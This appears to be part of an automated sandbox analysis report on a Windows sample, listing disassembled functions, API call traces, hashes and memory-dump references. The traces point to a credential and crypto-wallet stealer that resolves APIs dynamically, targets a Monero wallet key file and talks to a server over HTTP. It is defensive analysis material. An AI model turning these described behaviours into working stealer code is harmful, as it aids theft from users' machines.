Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 4af01b8410f2b3fc3d279a9e27ca4f7223c075fdb138ffdebbacd37c0ddf65bf
Instruction ID: b995857fc0d9f75ddc8610eddde3026feca79035bbf57461e2616b10292e70e3
Opcode Fuzzy Hash: 4af01b8410f2b3fc3d279a9e27ca4f7223c075fdb138ffdebbacd37c0ddf65bf
Instruction Fuzzy Hash: 7E41A3B1D04248DBDB21DF94CC45BDEBBB8EF08704F104199F649AB280D779AA44CBB5

Function 00D479E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D311B7), ref: 00D47A10
RtlAllocateHeap.NTDLL(00000000), ref: 00D47A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D47A2F

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 348eee8ddc1f49017261222905659e8f84a68593cb53ff0083e0c8a8d4bb3b00
Instruction ID: d4cf2c64736e2c1cd71ec9c59c7e1b279e322fd7c4342f1fc373fb607127b045
Opcode Fuzzy Hash: 348eee8ddc1f49017261222905659e8f84a68593cb53ff0083e0c8a8d4bb3b00
Instruction Fuzzy Hash: CCF04FB1944209EFC710DF98DD46BAEBBB8EB05711F10021AFA55A2680C77965048BA1

Function 00D31160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00D3116A
ExitProcess.KERNEL32 ref: 00D3117E

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 78844f05a45b58cc9e5af80ca2b1a1033421c495cbed5412d915197b8fbc96d5
Instruction ID: 8fb2d9cb055ce65631211e665c4dc150957d67e3631bf936ab5218417864b265
Opcode Fuzzy Hash: 78844f05a45b58cc9e5af80ca2b1a1033421c495cbed5412d915197b8fbc96d5
Instruction Fuzzy Hash: 7BD05E7490030C9BCB10DFE498496DDBB79BB0C215F000554D94562280EA356445CB65

Function 00D49F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01665850), ref: 00D49F3D
GetProcAddress.KERNEL32(74DD0000,01665990), ref: 00D49F55
GetProcAddress.KERNEL32(74DD0000,01679670), ref: 00D49F6E
GetProcAddress.KERNEL32(74DD0000,016796A0), ref: 00D49F86
GetProcAddress.KERNEL32(74DD0000,016796B8), ref: 00D49F9E
GetProcAddress.KERNEL32(74DD0000,016796D0), ref: 00D49FB7
GetProcAddress.KERNEL32(74DD0000,0166B810), ref: 00D49FCF
GetProcAddress.KERNEL32(74DD0000,0167D2F0), ref: 00D49FE7
GetProcAddress.KERNEL32(74DD0000,0167D170), ref: 00D4A000
GetProcAddress.KERNEL32(74DD0000,0167D218), ref: 00D4A018
GetProcAddress.KERNEL32(74DD0000,0167D338), ref: 00D4A030
GetProcAddress.KERNEL32(74DD0000,016659B0), ref: 00D4A049
GetProcAddress.KERNEL32(74DD0000,016659D0), ref: 00D4A061
GetProcAddress.KERNEL32(74DD0000,016659F0), ref: 00D4A079
GetProcAddress.KERNEL32(74DD0000,01665710), ref: 00D4A092
GetProcAddress.KERNEL32(74DD0000,0167D368), ref: 00D4A0AA
GetProcAddress.KERNEL32(74DD0000,0167D230), ref: 00D4A0C2
GetProcAddress.KERNEL32(74DD0000,0166B9C8), ref: 00D4A0DB
GetProcAddress.KERNEL32(74DD0000,016656D0), ref: 00D4A0F3
GetProcAddress.KERNEL32(74DD0000,0167D260), ref: 00D4A10B
GetProcAddress.KERNEL32(74DD0000,0167D398), ref: 00D4A124
GetProcAddress.KERNEL32(74DD0000,0167D1D0), ref: 00D4A13C
GetProcAddress.KERNEL32(74DD0000,0167D2C0), ref: 00D4A154
GetProcAddress.KERNEL32(74DD0000,01665A10), ref: 00D4A16D
GetProcAddress.KERNEL32(74DD0000,0167D2A8), ref: 00D4A185
GetProcAddress.KERNEL32(74DD0000,0167D248), ref: 00D4A19D
GetProcAddress.KERNEL32(74DD0000,0167D320), ref: 00D4A1B6
GetProcAddress.KERNEL32(74DD0000,0167D308), ref: 00D4A1CE
GetProcAddress.KERNEL32(74DD0000,0167D278), ref: 00D4A1E6
GetProcAddress.KERNEL32(74DD0000,0167D158), ref: 00D4A1FF
GetProcAddress.KERNEL32(74DD0000,0167D380), ref: 00D4A217
GetProcAddress.KERNEL32(74DD0000,0167D290), ref: 00D4A22F
GetProcAddress.KERNEL32(74DD0000,0167D3B0), ref: 00D4A248
GetProcAddress.KERNEL32(74DD0000,0167A480), ref: 00D4A260
GetProcAddress.KERNEL32(74DD0000,0167D110), ref: 00D4A278
GetProcAddress.KERNEL32(74DD0000,0167D2D8), ref: 00D4A291
GetProcAddress.KERNEL32(74DD0000,01665A30), ref: 00D4A2A9
GetProcAddress.KERNEL32(74DD0000,0167D350), ref: 00D4A2C1
GetProcAddress.KERNEL32(74DD0000,01665A70), ref: 00D4A2DA
GetProcAddress.KERNEL32(74DD0000,0167D188), ref: 00D4A2F2
GetProcAddress.KERNEL32(74DD0000,0167D1A0), ref: 00D4A30A
GetProcAddress.KERNEL32(74DD0000,01665730), ref: 00D4A323
GetProcAddress.KERNEL32(74DD0000,01665D10), ref: 00D4A33B
LoadLibraryA.KERNEL32(0167D1B8,?,00D45EF3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE7), ref: 00D4A34D
LoadLibraryA.KERNEL32(0167D0F8,?,00D45EF3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE7), ref: 00D4A35E
LoadLibraryA.KERNEL32(0167D3C8,?,00D45EF3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE7), ref: 00D4A370
LoadLibraryA.KERNEL32(0167D3E0,?,00D45EF3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE7), ref: 00D4A382
LoadLibraryA.KERNEL32(0167D128,?,00D45EF3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE7), ref: 00D4A393
LoadLibraryA.KERNEL32(0167D140,?,00D45EF3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE7), ref: 00D4A3A5
LoadLibraryA.KERNEL32(0167D1E8,?,00D45EF3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE7), ref: 00D4A3B7
LoadLibraryA.KERNEL32(0167D200,?,00D45EF3,00D50AEB,?,?,?,?,?,?,?,?,?,?,00D50AEA,00D50AE7), ref: 00D4A3C8
GetProcAddress.KERNEL32(75290000,01665D50), ref: 00D4A3EA
GetProcAddress.KERNEL32(75290000,0167D500), ref: 00D4A402
GetProcAddress.KERNEL32(75290000,016791F8), ref: 00D4A41A
GetProcAddress.KERNEL32(75290000,0167D410), ref: 00D4A433
GetProcAddress.KERNEL32(75290000,01665AB0), ref: 00D4A44B
GetProcAddress.KERNEL32(734C0000,0166B770), ref: 00D4A470
GetProcAddress.KERNEL32(734C0000,01665E10), ref: 00D4A489
GetProcAddress.KERNEL32(734C0000,0166B6D0), ref: 00D4A4A1
GetProcAddress.KERNEL32(734C0000,0167D488), ref: 00D4A4B9
GetProcAddress.KERNEL32(734C0000,0167D470), ref: 00D4A4D2
GetProcAddress.KERNEL32(734C0000,01665E30), ref: 00D4A4EA
GetProcAddress.KERNEL32(734C0000,01665C70), ref: 00D4A502
GetProcAddress.KERNEL32(734C0000,0167D4D0), ref: 00D4A51B
GetProcAddress.KERNEL32(752C0000,01665BD0), ref: 00D4A53C
GetProcAddress.KERNEL32(752C0000,01665E50), ref: 00D4A554
GetProcAddress.KERNEL32(752C0000,0167D530), ref: 00D4A56D
GetProcAddress.KERNEL32(752C0000,0167D4A0), ref: 00D4A585
GetProcAddress.KERNEL32(752C0000,01665D90), ref: 00D4A59D
GetProcAddress.KERNEL32(74EC0000,0166B720), ref: 00D4A5C3
GetProcAddress.KERNEL32(74EC0000,0166B928), ref: 00D4A5DB
GetProcAddress.KERNEL32(74EC0000,0167D4E8), ref: 00D4A5F3
GetProcAddress.KERNEL32(74EC0000,01665B70), ref: 00D4A60C
GetProcAddress.KERNEL32(74EC0000,01665AF0), ref: 00D4A624
GetProcAddress.KERNEL32(74EC0000,0166B978), ref: 00D4A63C
GetProcAddress.KERNEL32(75BD0000,0167D518), ref: 00D4A662
GetProcAddress.KERNEL32(75BD0000,01665AD0), ref: 00D4A67A
GetProcAddress.KERNEL32(75BD0000,016791E8), ref: 00D4A692
GetProcAddress.KERNEL32(75BD0000,0167D4B8), ref: 00D4A6AB
GetProcAddress.KERNEL32(75BD0000,0167D548), ref: 00D4A6C3
GetProcAddress.KERNEL32(75BD0000,01665BF0), ref: 00D4A6DB
GetProcAddress.KERNEL32(75BD0000,01665B10), ref: 00D4A6F4
GetProcAddress.KERNEL32(75BD0000,0167D590), ref: 00D4A70C
GetProcAddress.KERNEL32(75BD0000,0167D560), ref: 00D4A724
GetProcAddress.KERNEL32(75A70000,01665C10), ref: 00D4A746
GetProcAddress.KERNEL32(75A70000,0167D578), ref: 00D4A75E
GetProcAddress.KERNEL32(75A70000,0167D5A8), ref: 00D4A776
GetProcAddress.KERNEL32(75A70000,0167D3F8), ref: 00D4A78F
GetProcAddress.KERNEL32(75A70000,0167D428), ref: 00D4A7A7
GetProcAddress.KERNEL32(75450000,01665D30), ref: 00D4A7C8
GetProcAddress.KERNEL32(75450000,01665B30), ref: 00D4A7E1
GetProcAddress.KERNEL32(75DA0000,01665BB0), ref: 00D4A802
GetProcAddress.KERNEL32(75DA0000,0167D440), ref: 00D4A81A
GetProcAddress.KERNEL32(6F070000,01665C30), ref: 00D4A840
GetProcAddress.KERNEL32(6F070000,01665C50), ref: 00D4A858
GetProcAddress.KERNEL32(6F070000,01665B50), ref: 00D4A870
GetProcAddress.KERNEL32(6F070000,0167D458), ref: 00D4A889
GetProcAddress.KERNEL32(6F070000,01665CF0), ref: 00D4A8A1
GetProcAddress.KERNEL32(6F070000,01665B90), ref: 00D4A8B9
GetProcAddress.KERNEL32(6F070000,01665C90), ref: 00D4A8D2
GetProcAddress.KERNEL32(6F070000,01665CB0), ref: 00D4A8EA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00D4A901
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00D4A917
GetProcAddress.KERNEL32(75AF0000,0167D0B0), ref: 00D4A939
GetProcAddress.KERNEL32(75AF0000,01679218), ref: 00D4A951
GetProcAddress.KERNEL32(75AF0000,0167CE88), ref: 00D4A969
GetProcAddress.KERNEL32(75AF0000,0167CEA0), ref: 00D4A982
GetProcAddress.KERNEL32(75D90000,01665CD0), ref: 00D4A9A3
GetProcAddress.KERNEL32(6E3C0000,0167D0C8), ref: 00D4A9C4
GetProcAddress.KERNEL32(6E3C0000,01665D70), ref: 00D4A9DD
GetProcAddress.KERNEL32(6E3C0000,0167D0E0), ref: 00D4A9F5
GetProcAddress.KERNEL32(6E3C0000,0167D008), ref: 00D4AA0D

Strings

InternetSetOptionA, xrefs: 00D4A8F5
HttpQueryInfoA, xrefs: 00D4A90C

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: c18d297694293ccf1c17a7c64fe96a8d68bc4d6b69642af39e77bb02a26dc245
Instruction ID: 0d4d8a39610d11afaeb06c12755433fdcc31995d5b0d0d878c040fa246916efe
Opcode Fuzzy Hash: c18d297694293ccf1c17a7c64fe96a8d68bc4d6b69642af39e77bb02a26dc245
Instruction Fuzzy Hash: 486221B55102409FC376DFA8E88899677BAB74D701F10851ABAC9C3298D73FB951CFA0

Function 00D348D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D34800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34889
Part of subcall function 00D34800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34899

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D34965
StrCmpCA.SHLWAPI(?,0167E7D8), ref: 00D3498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D34B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00D50DDE,00000000,?,?,00000000,?,",00000000,?,0167E908), ref: 00D34E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D34E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D34E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D34E99
InternetCloseHandle.WININET(00000000), ref: 00D34EFD
InternetCloseHandle.WININET(00000000), ref: 00D34F15
HttpOpenRequestA.WININET(00000000,0167E7A8,?,0167E3F8,00000000,00000000,00400100,00000000), ref: 00D34B65

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

InternetCloseHandle.WININET(00000000), ref: 00D34F1F

Strings

", xrefs: 00D34D83
", xrefs: 00D34C42
------, xrefs: 00D34CB9
------, xrefs: 00D34A0D
------, xrefs: 00D34B78

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: d14a4acc3a4ec6a6dbae91569ec76176c24afff4a59980951be26a87b229b408
Instruction ID: 37040e70d675297e715b5e24e6959cdd4e790347a8ecd1a4c6968e3f4886732a
Opcode Fuzzy Hash: d14a4acc3a4ec6a6dbae91569ec76176c24afff4a59980951be26a87b229b408
Instruction Fuzzy Hash: F612F872950528ABEB15EB98DDA2FEEB379EF14300F104199B10662491EF746F48CF72

Function 00D45760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D4AB30: lstrlen.KERNEL32(00D34F55,?,?,00D34F55,00D50DDF), ref: 00D4AB3B
Part of subcall function 00D4AB30: lstrcpy.KERNEL32(00D50DDF,00000000), ref: 00D4AB95

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D45894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D458F1
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D459DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D45B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D45AA7

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D45440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D45478

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D45510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D45568
Part of subcall function 00D45510: lstrlen.KERNEL32(00000000), ref: 00D4557F
Part of subcall function 00D45510: StrStrA.SHLWAPI(00000000,00000000), ref: 00D455B4
Part of subcall function 00D45510: lstrlen.KERNEL32(00000000), ref: 00D455D3
Part of subcall function 00D45510: lstrlen.KERNEL32(00000000), ref: 00D455FE

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D45C5C
Sleep.KERNEL32(0000EA60), ref: 00D45C6B

Strings

ERROR, xrefs: 00D45886
ERROR, xrefs: 00D459CD
ERROR, xrefs: 00D45B82
ERROR, xrefs: 00D45A99
ERROR, xrefs: 00D45C4E
ERROR, xrefs: 00D458E3

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 9ca2e40a5648a211bead5dc471aa08ce62c3c0269046a5880313fc69f6342db4
Instruction ID: 07cdedf19e435854068542f0d9a5ae8ebd9d0fca5c4eb93a9863fb5756441d00
Opcode Fuzzy Hash: 9ca2e40a5648a211bead5dc471aa08ce62c3c0269046a5880313fc69f6342db4
Instruction Fuzzy Hash: 6FE14E729505049BDB14FBA4E9A3AFE733DEF54300F408568B54666086EF35AA0CCBB2

Function 00D419F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00D41A15
ExitProcess.KERNEL32 ref: 00D41A21

Strings

block, xrefs: 00D41A07

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: bbbc54510bb0d8e7b7b2689cd6d7a328276e49bf5203c78d62621241d082b14e
Instruction ID: d3a150d57f01dce378ea7bd96f82ef1d91b617ae31aa13824e18bb1d5e8b3647
Opcode Fuzzy Hash: bbbc54510bb0d8e7b7b2689cd6d7a328276e49bf5203c78d62621241d082b14e
Instruction Fuzzy Hash: 10515A78B04209EFDB14DFA4D955AAE7BB9FF44704F104049F842AB240E779E985CB72

Function 00D46C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,01672218), ref: 00D49BF1
